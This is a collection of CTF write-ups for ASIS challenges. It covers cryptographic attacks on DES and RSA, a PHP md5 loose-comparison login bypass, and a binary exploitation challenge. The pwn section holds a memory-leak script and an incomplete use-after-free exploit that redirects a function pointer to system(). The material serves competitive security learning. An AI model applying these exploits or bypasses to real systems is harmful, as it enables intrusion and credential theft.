Snippets
Writeup of 10-SED
DES has 4 weak keys and 6 pairs of semi-weak keys. I tried searching it.
# search-weakkey.rb
require 'ctf'
TCPSocket.open(*ARGV) do |s|
256.times do |i|
key = '%02x%02x%02x' % [i,i,i]
s.puts key
s.puts "012345"
s.expect('Enter your command(ENC/DEC):')
s.puts "ENC"
s.expect("message(hex encoded):\n")
e1 = s.gets.chomp
s.puts key
s.puts "012345"
s.expect('Enter your command(ENC/DEC):')
s.puts "DEC"
s.expect("message(hex encoded):\n")
d1 = s.gets.chomp
STDOUT.puts "%s %s %s" % [key, e1, d1]
STDOUT.flush
end
end
# check.rb
= Hash.new
File.read('output').lines do |e|
key, c, d = e.split
if m.key?(c)
p [key,c,d]
p m[c]
end
m[c] = [key,c,d]
if m.key?(d)
p [key,c,d]
p m[d]
end
m[d] = [key,c,d]
end
$ ruby search-weakkey.rb | tee output
$ ruby check.rb
["dadada", "0c805aaab21804e4", "664c6fb380f74f6e"]
["505050", "664c6fb380f74f6e", "0c805aaab21804e4"]
["dadada", "0c805aaab21804e4", "664c6fb380f74f6e"]
["505050", "664c6fb380f74f6e", "0c805aaab21804e4"]
It has semi-weak key pairs!
So we decrypted the data with the keys '[6c404f, 717740, c4b5a2, 9750da]'.
The writeup of Bodu
$ openssl rsa -noout -text -pubin < pub.key
Public-Key: (1018 bit)
Modulus:
03:a6:16:08:48:fb:17:34:cb:d0:fa:22:ce:f5:82:
e8:49:22:3a:c0:45:10:d5:15:02:55:6b:64:76:d0:
73:97:f0:3d:f1:55:28:9c:20:11:2e:87:c6:f3:53:
61:d9:eb:62:2c:a4:a0:e5:2d:9c:d8:7b:f7:23:52:
6c:82:6b:88:38:7d:06:ab:c4:27:9e:35:3f:12:ad:
8e:c6:2e:a7:3c:47:32:1a:20:b8:96:44:88:9a:79:
2a:73:15:2b:c7:01:4b:80:a6:93:d2:e5:8b:12:3f:
a9:25:c3:56:b1:eb:a0:37:a4:dc:ac:8d:8d:e8:09:
16:7a:6f:cc:30:c5:c7:85
Exponent:
03:65:96:2e:8d:ab:a7:ba:92:fc:08:76:8a:5f:73:
b3:85:4f:4c:79:96:9d:55:18:a0:78:a0:34:43:7c:
46:69:bd:b7:05:be:4d:8b:8b:ab:f4:fd:a1:a6:e7:
15:26:9e:87:b2:8e:ec:b0:d4:e0:27:26:a2:7f:b8:
72:18:63:74:07:20:f5:83:68:8e:55:67:eb:10:72:
9b:b0:d9:2b:32:2d:71:99:49:e4:0c:57:19:8d:76:
4f:1c:63:3e:5e:27:7d:a3:d3:28:1e:ce:2c:e2:eb:
4d:f9:45:be:5a:fc:3e:78:49:8e:d0:48:9b:24:59:
05:96:64:fe:15:c8:8a:33
It has big public exponent, so we suspect that the private exponent is small.
We recovered the private exponent with https://github.com/mimoo/RSA-and-LLL-attacks.
$ sage boneh_durfee.sage
=== checking values ===
* delta: 0.25
* delta < 0.292 True
* size of e: 1017
* size of N: 1017
* m: 4 , t: 2
=== running algorithm ===
/opt/sage-6.8-x86_64-Linux/local/lib/python2.7/site-packages/sage/libs/singular/standard_options.py:140:
********************************************************************************
Singular's groebner() and related computations in polynomial rings over ZZ contains bugs and may be mathematically unreliable.
This issue is being tracked at http://trac.sagemath.org/sage_trac/ticket/17676.
********************************************************************************
* removing unhelpful vector 18
* removing unhelpful vector 15
* removing unhelpful vectors 1 and 2
* removing unhelpful vector 0
7 / 14 vectors are not helpful
det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)
00 X 0 0 0 0 0 0 0 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 0 0 0 0 0 0 0 ~
02 X X X 0 0 0 0 0 0 0 0 0 0 0
03 0 0 0 X 0 0 0 0 0 0 0 0 0 0 ~
04 0 0 0 X X 0 0 0 0 0 0 0 0 0 ~
05 0 0 0 X X X 0 0 0 0 0 0 0 0
06 0 0 0 X X X X 0 0 0 0 0 0 0
07 0 0 0 0 0 0 0 X 0 0 0 0 0 0 ~
08 0 0 0 0 0 0 0 X X 0 0 0 0 0 ~
09 0 0 0 0 0 0 0 X X X 0 0 0 0 ~
10 0 0 0 0 0 0 0 X X X X 0 0 0
11 0 0 0 0 0 0 0 X X X X X 0 0
12 X X X 0 X X X 0 0 0 0 0 X 0
13 0 0 0 X X X X 0 X X X X 0 X
=== solutions found ===
x: 166655144474518261230652989223296290941028672984834812738633465334956148666716172
y: -1620506135779940147224760304039194820968390775056928694397695557680267582618799089782283100396517871978055320094445221632538028739201519514071704255517645
d: 89508186630638564513494386415865407147609702392949250864642625401059935751367507
=== 0.864481925964 seconds ===
Factor N by this program(p = (e * d - 1) / x * 2)
def bisect(left, right, cond_le):
# [left, right]
while left <= right:
if left == right:
return left
mid = (left + right) / 2
if cond_le(mid):
right = mid
else:
left = mid + 1
return None
def sqrt_ceil(n):
return bisect(0, n, lambda x: n <= x*x)
def solve_quadratic_equation(a, b):
m = sqrt_ceil(b)
p = bisect(0, m, lambda x: x*x-a*x+b <= 0)
q = bisect(m, b, lambda x: x*x-a*x+b >= 0)
if p * q != b:
return None
else:
return (p, q)
n = 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901
e = 2385330119331689083455211591182934261439999376616463648565178544704114285540523381214630503109888606012730471130911882799269407391377516911847608047728411508873523338260985637241587680601172666919944195740711767256695758337633401530723721692604012809476068197687643054238649174648923555374972384090471828019
p = 1281128009399491137747797794759081716186008751121800932329269137352768957241973903560391866883059276627050617698260770468082109720280766498559957755157317424300672059675508204537045191367497503373275575774789325101418146630438049240298445386728780200282988802995633538663082005192393840977322818069005602806 * 2
print solve_quadratic_equation(n - p + 1, n)
$ python solve.py
(1367950959033448694251101693351971454646908585982174247214456588106744480223502924899594970200721567086593256490339820357729417073968911473368284373028327L, 1873061312526431600198418914726418187289872964131683141580934527253790685014095254664971230592314176869517383698550622907346640404434127554775124138006963L)
Create RSA private key from this information and get the flag.
$ ruby generate-rsakey.rb > rsa.key
$ openssl rsautl -decrypt -inkey rsa.key <flag.enc
ASIS{b472266d4dd916a23a7b0deb5bc5e63f}
Writeup of Fake
The program recieve one integer(ARGV[1]) and calculate something and show text.
The first 8byte of output (ARGV[1] * 0x3cc6c7b7) % 2 ^ 64. And the first 8byte of the flag is "ASIS{...}". So I bruteforced ARGV[1].
m = 0x3cc6c7b7
hex = '0123456789abcdef'.chars
hex.each do |a|
hex.each do |b|
hex.each do |c|
x = (('ASIS{' + a + b + c).unpack("Q")[0] * CTF::Math::mod_inverse(m, 1<<64)) % (1<<64)
system "./fake #{x}"
end
end
end
$ ruby solve.rb| strings -n 30
ASIS{f5f7af556bd6973bd6f2687280a243d9}
Writeup of HoneyWall
The server returns the encrypted data with another public exponent. So we can recover plain text. Public exponent can recover because it is 16bit integer.
require 'ctf'
def get(s, number)
s.puts number
s.puts "GET"
s.puts 0
s.expect("Encrypted message:\n")
mod = eval s.gets.gsub('L','')
cipher = eval s.gets
[cipher, mod]
end
TCPSocket.open(*ARGV) do |s|
s.echo = false
s.puts "0"
s.puts "ADD"
s.puts "A"
s.expect("Encrypted message:\n")
mod = eval s.gets.gsub('L','')
cipher = eval s.gets
exp = CTF::Math.discrete_log(?A.ord, cipher, mod, 0x10000)
puts "EXP: #{exp}"
cipher, mod = get(s, 0)
puts cipher, mod
end
$ ruby solve.rb 94.182.227.61 31313
EXP: 51913
9167421125648480854013338562661694281597968474160735723287949707304419201583370379554772572371647216951508947001204109362288636301912902325760464107704920686141145596388495553784487069476661282455342856906366209505772546276612270964489762077360222936906110409577723461522853252648517448166192947472925018864654080290759889645484579428876807142215271272697424611533961415817585569187798817355160985031232964642538204605813716259528496855007381908042918063483132683790377197461764636745563276429304499165270304699962362151462970254529073246633067475702477971705800332807627617170386617681683214304385313898904086145872384447149800829155709931931577896982994012169559512358971002239374693882551702078783159442454812360752331889347294888600085713107223633666748977014376431606149941117719847727839357474540511683087255615161752514152913043822833182897002017558787356674113836489522564905039983732148583181356715318339719539398675663844279313801490820051912991181579932471353847348957244640269998197859639069370659060620522322040403214128448819813102154700103772964997376459538649993947291618930920890185634872192766743188592445227746747314842035624884736845708707662884946865716896896754857093459427956112082523190986703861886793919132
9612840844309052226298038114064656504196790537501668420587912279444875161093186584479888596757882719450357977274058915113137157098153930681397429757024795030550041608949875158225598915910035426496969190849977571417532407127029686714374974735550002103056220709665795822893317595053210088704233954585357167445898153602311067837474408696333989932400665008390140283282547029036363996568282239440485949172655552853309153883150263243926723969774423575208320768856570254711458562945228609496892333528665163265587294549944471042226735897446748686518752894348161333931253045038504211944603253659577369129592867014480096984469927548989588905744542204689799255325695749753305553045635859034847633536707224530863624645885844506956671801788614116681555495758316814001609080522897278681057224834796436017287277039410452500196200384106133893456673148815384258768217717866420731396204791147023572942623055769131748243845350832042132101941456441947548451414758493316603742486141642852774683218055726982780390597827874153730453548768848376660732571169420681130548056956608472872122294044888746887498641295586301753880919968682031837006154465089971347247219932937772154944149941541730369231406111722513051610745297115277824166540195163441571353441917
$ ruby solve.rb 94.182.227.61 31313
EXP: 46381
509159644654921790586498379282058135547048859713746668537485613647274915071853333128210369350794850996247508694503617210986448233372128578146197830726199313722653330770135915878279897338574815961419416048339497682746251405607467673089660156841782737714601473026409919733013757724572836795813062480046235605725491415416899594181108434283285103719501637450339591949897757903693786316319149507432246551315847702783083598916805595876712225583177373428461894278334999401332740484727706719047531161492392626686759011977738400828314570721889778897608785193417204957622973058144480677562920987351921952613938556585655269625111211938261948331769187034049730478595688010432059652029630857737607084658568094984949682633255370870008761883547258587945318968620658038939042123396432173789530878011480829448488454138052917149160878142919525492629397669412818183698705047739153229874593277020713322958583989690399986547900202469492712194989861794639398435957724559135596903791847878061719135872878148707878868374333376669531669149090793648254102726755692547144968052566695279565295198386577469361177415631532156267545716966261058611094952809713085642671592071048379941824961119438206437729592335607440105131385565367783259903070241408833544001760
9612840844309052226298038114064656504196790537501668420587912279444875161093186584479888596757882719450357977274058915113137157098153930681397429757024795030550041608949875158225598915910035426496969190849977571417532407127029686714374974735550002103056220709665795822893317595053210088704233954585357167445898153602311067837474408696333989932400665008390140283282547029036363996568282239440485949172655552853309153883150263243926723969774423575208320768856570254711458562945228609496892333528665163265587294549944471042226735897446748686518752894348161333931253045038504211944603253659577369129592867014480096984469927548989588905744542204689799255325695749753305553045635859034847633536707224530863624645885844506956671801788614116681555495758316814001609080522897278681057224834796436017287277039410452500196200384106133893456673148815384258768217717866420731396204791147023572942623055769131748243845350832042132101941456441947548451414758493316603742486141642852774683218055726982780390597827874153730453548768848376660732571169420681130548056956608472872122294044888746887498641295586301753880919968682031837006154465089971347247219932937772154944149941541730369231406111722513051610745297115277824166540195163441571353441917
$ irb -rctf
irb(main):002:0> CTF::Math.extgcd(51913, 46381)
=> [14580, -16319]
irb(main):003:0> N = 9612840844309052226298038114064656504196790537501668420587912279444875161093186584479888596757882719450357977274058915113137157098153930681397429757024795030550041608949875158225598915910035426496969190849977571417532407127029686714374974735550002103056220709665795822893317595053210088704233954585357167445898153602311067837474408696333989932400665008390140283282547029036363996568282239440485949172655552853309153883150263243926723969774423575208320768856570254711458562945228609496892333528665163265587294549944471042226735897446748686518752894348161333931253045038504211944603253659577369129592867014480096984469927548989588905744542204689799255325695749753305553045635859034847633536707224530863624645885844506956671801788614116681555495758316814001609080522897278681057224834796436017287277039410452500196200384106133893456673148815384258768217717866420731396204791147023572942623055769131748243845350832042132101941456441947548451414758493316603742486141642852774683218055726982780390597827874153730453548768848376660732571169420681130548056956608472872122294044888746887498641295586301753880919968682031837006154465089971347247219932937772154944149941541730369231406111722513051610745297115277824166540195163441571353441917
=> 9612840844309052226298038114064656504196790537501668420587912279444875161093186584479888596757882719450357977274058915113137157098153930681397429757024795030550041608949875158225598915910035426496969190849977571417532407127029686714374974735550002103056220709665795822893317595053210088704233954585357167445898153602311067837474408696333989932400665008390140283282547029036363996568282239440485949172655552853309153883150263243926723969774423575208320768856570254711458562945228609496892333528665163265587294549944471042226735897446748686518752894348161333931253045038504211944603253659577369129592867014480096984469927548989588905744542204689799255325695749753305553045635859034847633536707224530863624645885844506956671801788614116681555495758316814001609080522897278681057224834796436017287277039410452500196200384106133893456673148815384258768217717866420731396204791147023572942623055769131748243845350832042132101941456441947548451414758493316603742486141642852774683218055726982780390597827874153730453548768848376660732571169420681130548056956608472872122294044888746887498641295586301753880919968682031837006154465089971347247219932937772154944149941541730369231406111722513051610745297115277824166540195163441571353441917
irb(main):004:0> CTF::Math.mod_pow(9167421125648480854013338562661694281597968474160735723287949707304419201583370379554772572371647216951508947001204109362288636301912902325760464107704920686141145596388495553784487069476661282455342856906366209505772546276612270964489762077360222936906110409577723461522853252648517448166192947472925018864654080290759889645484579428876807142215271272697424611533961415817585569187798817355160985031232964642538204605813716259528496855007381908042918063483132683790377197461764636745563276429304499165270304699962362151462970254529073246633067475702477971705800332807627617170386617681683214304385313898904086145872384447149800829155709931931577896982994012169559512358971002239374693882551702078783159442454812360752331889347294888600085713107223633666748977014376431606149941117719847727839357474540511683087255615161752514152913043822833182897002017558787356674113836489522564905039983732148583181356715318339719539398675663844279313801490820051912991181579932471353847348957244640269998197859639069370659060620522322040403214128448819813102154700103772964997376459538649993947291618930920890185634872192766743188592445227746747314842035624884736845708707662884946865716896896754857093459427956112082523190986703861886793919132, 14580, N) * CTF::Math.mod_inverse(CTF::Math.mod_pow(509159644654921790586498379282058135547048859713746668537485613647274915071853333128210369350794850996247508694503617210986448233372128578146197830726199313722653330770135915878279897338574815961419416048339497682746251405607467673089660156841782737714601473026409919733013757724572836795813062480046235605725491415416899594181108434283285103719501637450339591949897757903693786316319149507432246551315847702783083598916805595876712225583177373428461894278334999401332740484727706719047531161492392626686759011977738400828314570721889778897608785193417204957622973058144480677562920987351921952613938556585655269625111211938261948331769187034049730478595688010432059652029630857737607084658568094984949682633255370870008761883547258587945318968620658038939042123396432173789530878011480829448488454138052917149160878142919525492629397669412818183698705047739153229874593277020713322958583989690399986547900202469492712194989861794639398435957724559135596903791847878061719135872878148707878868374333376669531669149090793648254102726755692547144968052566695279565295198386577469361177415631532156267545716966261058611094952809713085642671592071048379941824961119438206437729592335607440105131385565367783259903070241408833544001760, 16319, N), N) % N
=> 165392262716195919580770289380009773297835331530504411469379655373120752758048555784284373973674579906205593725
irb(main):005:0> [_.to_s(16)].pack("H*")
=> "Flag is ASIS{b9c209e022ab15e6a79f783e69618440}"
Writeup of Impossible
Get the source form http://impossible.asis-ctf.ir/backup/ (This is written in robots.txt)
We noticed that password check uses '==' operator to compare md5.
function get_user($username) {
$data = file_get_contents('../passwords.dat');
$passwords = explode("\n", $data);
foreach ($passwords as $key => $value) {
$user_data = explode(",", $value);
if (md5($username) == $user_data[0]) {
return array($username, base64_decode($user_data[1]));
}
}
return array("", "");
}
We tried to search the password whose md5 hash is '0e[0-9]*'
require 'base64'
require 'digest/md5'
File.read('./users.dat').lines do |line|
a,b,c = line.split(',')
digest = Digest::MD5.hexdigest(Base64.decode64(a))
puts [Base64.decode64(a), digest] unless /[a-d]/ =~ digest
end
$ ruby search.rb
adm2salwg
0e004561083131340065739640281486
We created user that md5 hash of password is '0e[0-9]*' and got the adm2salwg's password. Then we logged in and got the flag.
Here is password search program.
#include <openssl/md5.h>
#include <sstream>
#include <iostream>
using namespace std;
unsigned char tmp[10];
unsigned char digest[16];
bool ok[256];
bool check() {
MD5(tmp,9,digest);
if(digest[0] != 0x0e) return false;
for(int i = 1; i < 16; i++) {
if(!ok[digest[i]]) return false;
}
return true;
}
void search(int idx) {
if(idx == 9) {
if(check()) {
cout << tmp << endl;
}
cout << tmp << endl;
}else{
for(int i = 'A'; i <= 'Z'; i++) {
tmp[idx] = i;
search(idx + 1);
}
}
}
int main() {
for(int i = 0; i < 10; i++) {
for(int j = 0; j < 10; j++) {
ok[i * 16 + j] = true;
}
}
search(0);
}
Write of meowmeow
Replace _ to integer and eval it.
m = File.read('./meowmeow')
m = m.gsub(/_+/) do |s|
s.size.to_s
end
puts m
r = eval m
puts ['0' + r.to_s(16)].pack("H*").reverse
$ ruby test.rb
(((5 << 2) + 1) << ((((5 << 2) - 1) << 4) - 1)) - (((((3 << 2) - 1) << 2) + 1) << (((((1 << 3) + 1)) << 5) + (1 << 2))) + (((7 << 5) - 7) << ((((1 << 4) + 1) << 4) + (3 << 1))) - (((1 << 7) - 3) << ((((1 << 4) + 1) << 4) - 3)) + (((((3 << 2) + 1) << 4) - 3) << ((1 << 8) + (1 << 1))) + (((3 << 6) + 5) << ((((1 << 4) - 1) << 4) + 7)) - (((((1 << 4) - 1) << 4) - 3) << ((((1 << 4) - 1) << 4) - 3)) + (((((3 << 2) - 1) << 5) + 3) << ((7 << 5))) + (((7 << 5) + 1) << ((((3 << 2) + 1) << 4) + (3 << 1))) - (((((3 << 2) - 1) << 3) - 3) << ((((3 << 2) + 1) << 4) - 3)) + (((((5 << 2) - 1) << 4) + 3) << ((3 << 6))) + (((((3 << 2) + 1) << 3) - 3) << ((3 << 6) - (1 << 3))) + (((3 << 6) + 1) << ((((3 << 2) - 1) << 4) - (1 << 1))) - (((((5 << 2) - 1) << 4) + 3) << ((5 << 5) + 3)) - (((7 << 5) + 5) << ((((5 << 2) - 1) << 3) + 1)) - (((((3 << 2) + 1) << 4) - 5) << (((((1 << 3) + 1)) << 4))) + (((3 << 6) + 1) << ((((1 << 4) + 1) << 3) - (1 << 1))) - (((((1 << 4) - 1) << 2) + 1) << ((1 << 7) - 3)) + (((((3 << 2) + 1) << 4) - 3) << ((7 << 4) + (1 << 1))) + (7 << ((((3 << 2) + 1) << 3) + 3)) + (((7 << 4) - 3) << ((3 << 5) - 1)) - (((((1 << 4) - 1) << 2) + 1) << ((((3 << 2) - 1) << 3) - 1)) - (((((3 << 2) + 1) << 3) + 3) << ((5 << 4) - (1 << 1))) - (((((1 << 4) - 1) << 3) - 3) << ((((1 << 4) + 1) << 2) + 1)) + (((5 << 4) + 3) << ((((1 << 4) - 1) << 2))) + (((5 << 3) - 1) << ((((3 << 2) + 1) << 2) - 1)) + (((7 << 3) + 1) << ((5 << 3))) + (((1 << 5) - 1) << ((1 << 5) + (1 << 1))) - (((((3 << 2) - 1) << 2) - 1) << ((((3 << 2) + 1) << 1))) - (((3 << 3) - 1) << ((5 << 2) - 1)) + (((5 << 2) + 1) << ((3 << 2))) + ((((3 << 2) + 1)) << 6) + 1
ASIS{981e1ea684c8055f60e3a58cabb4c060}
Writeup of RSASR
List up the modulus of public keys with this program.
require 'openssl'
ns = []
ARGV.each do |file|
next if file.end_with?('.rb')
f = File.read(file)
if f.include?('PUBLIC')
pubkey = OpenSSL::PKey::RSA.new(f)
ns << pubkey.n.to_i
end
end
puts ns.sort!
The encpryted file is b20141ade4ba3c6dd93dbf637bdccd5b. And the size of the file is 129 byte. So the file is encrypted by 0b11bf5e2affb01d99c07fb7b0a6cd17 because only it has 129byte modulus length.
First, we tried searching modulus pair whose gcd != 1, but there no such pair.
Second, we tried factoring the smallest modulus with msieve.
[7362682171245781459366967557, 7557696639541875421712862637]
[11159359330727532074766065441, 14456066747023572703395395111]
[32688937407916059541845768973, 37986754814595061970473988623]
[30451132162773350907574180937, 73908147570905337726123115403]
[102626289448496869897518682871, 178286815798968694844982626201]
[1408935556089668149148447321107, 7011237448419418669806555398041]
[15709288985528612831262481693157, 75139618426213821682558988290751]
[13073105973341453256697383033479, 97433038379665235414337950137031]
[106014656578976297101423514695091, 190596415324101792679875656410601]
[315745270838464463141195392610693, 396016293591141364464838072547513]
[738157061428755483244363234322509, 905223432363442384557824160751837]
We noticed that p is reverse(q) in decimal.
So we created facotring program, then we recovered private key.
require 'ctf'
require 'pry'
n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
puts n
def solve(n, first, length, k)
if first.size * 2== length
mod = 10 ** (k - 1)
last = n % mod* CTF::Math.mod_inverse(first.reverse.to_i, mod) % mod
last = ("%0#{k - 1}d" % last)
m1 = first + last.to_s
m2 = m1.reverse
if m1.to_i * m2.to_i == n
return [m1,m2]
else
return nil
end
end
if first.size * 2 + 1 == length
mod = 10 ** (k - 1)
last = n % mod* CTF::Math.mod_inverse(first.reverse.to_i, mod) % mod
last = ("%0#{k - 1}d" % last)
10.times do |i|
m1 = first + i.to_s + last.to_s
m2 = m1.reverse
if m1.to_i * m2.to_i == n
return [m1,m2]
end
end
return nil
end
10.times do |i|
# first + iを考える
l2 = (first + i.to_s).reverse.to_i
mod = (10 ** k)
last = n % mod* CTF::Math.mod_inverse(l2, mod) % mod
l = last
f = first + i.to_s
min1 = f.to_s + '0' * (length - f.size * 2) + ("%0#{k}d" % l)
min2 = min1.reverse
max1 = f.to_s + '9' * (length - f.size * 2) + ("%0#{k}d" % l)
max2 = max1.reverse
#binding.pry if f == '111593'
if min1.to_i * min2.to_i <= n && n <= max1.to_i * max2.to_i
ret = solve(n, f, length, k + 1)
return ret if ret
end
end
nil
end
# 下位1桁を決定する
[1,3,7,9].each do |l1|
candi1 = nil
[1,3,7,9].each do |l2|
candi1 = l2 if l2 * l1 % 10 == n % 10
end
l2 = candi1
# 先頭と末尾が決まったので長さを推定する
3.upto(n.to_s.size) do |length|
min1 = l1.to_s + '0' * (length - 2) + l2.to_s
min2 = l2.to_s + '0' * (length - 2) + l1.to_s
max1 = l1.to_s + '9' * (length - 2) + l2.to_s
max2 = l2.to_s + '9' * (length - 2) + l1.to_s
if min1.to_i * min2.to_i <= n && n <= max1.to_i * max2.to_i
p solve(n, l1.to_s, length, 2)
end
end
end
$ ruby factor.rb
6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
["72432241732033981541049204016745025006867436329489703868293535625696723664804764149457845005290546241606890061226796845022216057745054630401792003744462109", "90126444730029710403645054775061222054869762216009860614264509250054875494146740846632769652653539286830798492363476860052054761040294014518933023714223427"]
["90126444730029710403645054775061222054869762216009860614264509250054875494146740846632769652653539286830798492363476860052054761040294014518933023714223427", "72432241732033981541049204016745025006867436329489703868293535625696723664804764149457845005290546241606890061226796845022216057745054630401792003744462109"]
$ ruby generate-rsakey.rb > key.key
$ openssl rsautl -decrypt -inkey key.key -raw < message
ASIS{e3bdadf44ee8d2e097096b4d82efd8ed}
Writeup of Shop-1 and Shop-2
Decompile Result
#include <stdio.h>
// 204020h
struct Item {
int no; // +0
char use_flag; // +4
char name[0x20]; // +5
char popular_flag; // +0x69
double price; // +0x70
int stock; // +0x78
int (*func)(struct Item*); // +0x80
} data[8];
struct Item * order_table[13];
// 0x216d
void show_menu() {
puts("Menu:");
puts(" 1) list bragisdumus");
puts(" 2) order a bragisdumu");
puts(" 3) view my order");
puts(" 5) remove bragisdumu (admin only)");
puts(" 8) logout");
puts(" 9) exit");
}
// 0x17fc
int read_int() {
// fgets and atoi
}
// 0x1ebc
void list() {
puts("Available bragisdumus in store.");
int i = 0; // var_0c
for(int i = 0; i < 8; i++) {
if(data[i].use_flag == 1) {
register char* pmes;
if(data[i].popular_flag) {
pmes = " (most popular!)"
else {
pmes = "";
}
printf(" Bragisdumu #%d: %s, price: $%0.21f, in stock %d%s\n", data[i].no, data[i].name, data[i].price, data[i].stock, pmes);
}
}
}
// sub_1b14
void order() {
int choice; // var_14
int j; // var_18
int i; // var_1c
char found = 0; // var_1e;
printf("Choose a Bragisdumu to order: ");
choice = read_int();
for(int i = 0; i <= 7; i++) {
if(choice == 0) continue;
if(choice == data[i].no) {
found = 1;
if(data[i].stock == 0) {
puts("Nah. I don't have any. So sad. :(");
} else {
char found_free = 0; // var_25
data[i].stock--;
for(j = 0; j <= 8; j++) {
if(order_table[j]->used == 0) {
struct Item *item = malloc(136); // var_10
memcpy(item, &data[i], 136); // TODO: probably
order_table[i] = item;
puts("Your order has been placed successfully!");
found_free = 1;
break;
}
}
if(found_free != 1 ){
puts("Doh!Looks like your order list is full. Please wait until the next shipment.");
}
}
}
}
if(!found) {
puts("Invalid Bragisdumu index!");
}
}
// 0x1cf8
void view() {
puts("Bragisdumu orders: ");
int i; // var_10
char any_order = 0; // var_11
for(i = 0; i <= 8; i++) {
if(order_table[i]->use_flag == 1) {
register char *tmp;
if(order_table[i]->popular_flag) {
tmp = " ( most popular <3 )";
}else {
tmp = "";
}
printf(" #%d: %s, price: $%0.21f %s\n", i + 1, order_table[i]->name, order_table[i]->price, tmp);
any_order = 1;
}
}
if(any_order == 0) {
puts(" You have no orders.");
}else{
printf("\nDo you want to preview one of your orders? ");
int choice = readint() - 1; // var_c
if(choice <= 8 && choice >= 0 && order_table[choice]->use_flag == 1) {
order_table[choice]->func(order_table[choice]);
} else {
puts("Hahahahaha... NO.");
}
}
}
// 1850
void add() {
char buf[0x40]; // var_50
int i; // var_54
bool flag; // var_55
printf("Big Bragisdemu comes with big responsibility! Are you ready? ");
fgets(buf, 0x40, stdin);
if(buf[0] != 'Y' && buf[0] != 'y') {
puts("Wise decision, my friend.");
}else {
flag = 0;
for(i = 0; i <= 7; i++) {
if(data[i].use_flag == 0) {
data[i].no = i + 1;
printf("Name: ");
fgets(data[i].name, 0x20 ,stdin);
if(data[i].name[strlen(data[i].name) - 1] == '\n') {
data[i].name[strlen(data[i].name) - 1] = '\0'; // TODO: ちゃんと読んでない
}
printf("Price: ");
data[i].price = (double)read_int();
printf("Count: ");
data[i].stock = read_int();
data[i].popular_flag = 0;
data[i].func = no_preview; // sub_17af
data[i].use_flag = 1;
flag = 1;
break;
}
}
if(!flag) {
puts("NOOOOOOOOOO more space!!4! Big responsibility later.");
}
}
}
// 200b
void remove() {
printf("Choose a Bragisdumu to remove: ");
int choice = readint(); // var_c
int j; // var_10
int i; // var_14
bool stock = 0; // var_15
bool found = 0; // var_16
putchar('\n');
for(i = 0; i <= 7; i++) {
if(data[i].no != choice) continue;
found = 1;
stock = data[i].stock == 0;
if(stock ! = 0) {
data[i].use_flag = 0;
}
break;
}
if(!found) {
puts("Invalid Bragisdumu index!");
}else if(stock == 0) {
puts("You cannot remove a Bragisdumu which on stock.");
}else {
for(j = 0; j <= 8; j++) {
if(order_table[j].no == choice) {
free(order_table[j]); // NOTICE: We can 'use after free'
}
}
}
}
// 0x21fa
int main() {
unsigned int compare_result; // var_10
char buf[0x60]; // var_70
size_t pass_length; //var_78
char *admin_password; //var_80
int choice; // var_84
char admin_flag; // var_85
setbuf(stdout, NULL);
for(;;) {
puts("The Official Bragisdumus Shop");
puts(" (guest password: guest)\n");
admin_flag = 0;
for(;;) {
printf("Username: ");
input_line(buf, 0x20);
printf("Password: ");
input_line(buf + 0x20, 0x40);
if(memcmp(buf, "guest", 5) == 0) {
if(memcmp(buf + 0x20, "guest", 5) == 0) {
break;
}
}
if((compare_result = memcmp(buf, "admin", 5)) == 0) {
pass_length = read_file("adminpass.txt", &admin_password);
compare_result = memcmp(buf + 0x20, admin_password, pass_length);
free(admin_password);
if(compare_result == 0) {
admin_flag = 1;
break;
}
}
puts("Unknown username or password!");
putchar(0xa);
}
// 0x236e
putchar(0xa);
printf("Logged in as %s\n\n", buf);
for(;;) {
show_menu();
printf("Choose: ");
choice = read_int(); // var_84
putchar('\n');
if(choice == 0x4 || choice == 0x5) {
if(!admin_flag) {
puts("No admin, No good.");
continue;
}
}
switch(choice) {
case 1:
list();
break;
case 2:
list();
putchar('\n');
order();
break;
case 3:
view();
break;
case 4:
add();
break;
case 5:
list();
putchar('\n');
remove();
break;
case 8:
break loop;
case 9:
exit(0);
}
}
}
}
Answer of Shop-1
In main function, user name and password is compared by memcmp function and input_line function doesn't add '\0' to string. So if we send 'guestaaaaa...' as username, 'guestaaaa...' as password, we can get compare_result value.
unsigned int compare_result; // var_10
char buf[0x60]; // var_70
Here is exploit.
from pwn import *
#conn = process(["env", "LD_PRELOAD=./libc-2.19.so", "./bragisdumu-shop"])
conn = remote("185.106.120.220", 1337)
def challange(pw):
conn.recvuntil("Username: ")
conn.send("admin".ljust(0x20) + "\n")
conn.recvuntil("Password: ")
conn.send(pw.ljust(0x40) + "\n")
line = conn.recvline()
if line == "\n":
conn.send("8\n")
return 0
conn.recvuntil("Username: ")
conn.send("guest".ljust(0x20) + "\n")
conn.recvuntil("Password: ")
conn.send("guest".ljust(0x40) + "\n")
conn.recvuntil("Logged in as ")
recv = conn.recv()
conn.send("8\n")
print hexdump(recv)
if recv[0x62:0x66] == "Menu":
return None
return ord(recv[0x60])
chars = list("ASIS{304b0f16eb430391c6c8".ljust(0x40, "\x01"))
for i in range(25, 0x40):
delta = challange("".join(chars))
chars[i] = chr((ord(chars[i]) - delta) % 256)
print repr("".join(chars))
if delta == 0:
break
print "".join(chars[:i])
Answer of Shop-2
There is 'Use after free' bug. So we rewrite the function table to run any function.
# coding; ASCII-8BIT
require 'ctf'
admin_pass = 'ASIS{304b0f16eb430391c6c86ab0f3294211}'
printf_plt = 0xda0
system_libc = 0x46640
TCPSocket.open(*ARGV) do |s|
s.echo = true
# get base offset
s.puts "guest" + "a"*32
s.puts "guestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCD"
s.expect("ABCD")
base_offset = s.expect("\n\n")[0][0..-3].+("\0\0\0\0\0\0\0").unpack("q")[0]
base_offset -= 9376
p '%x' % base_offset
s.puts "8"
s.puts "admin"
s.puts admin_pass
s.puts "4"
s.puts 'y'
s.puts "hoge"
s.puts "2"
s.puts "2"
s.puts "2"
s.puts "5"
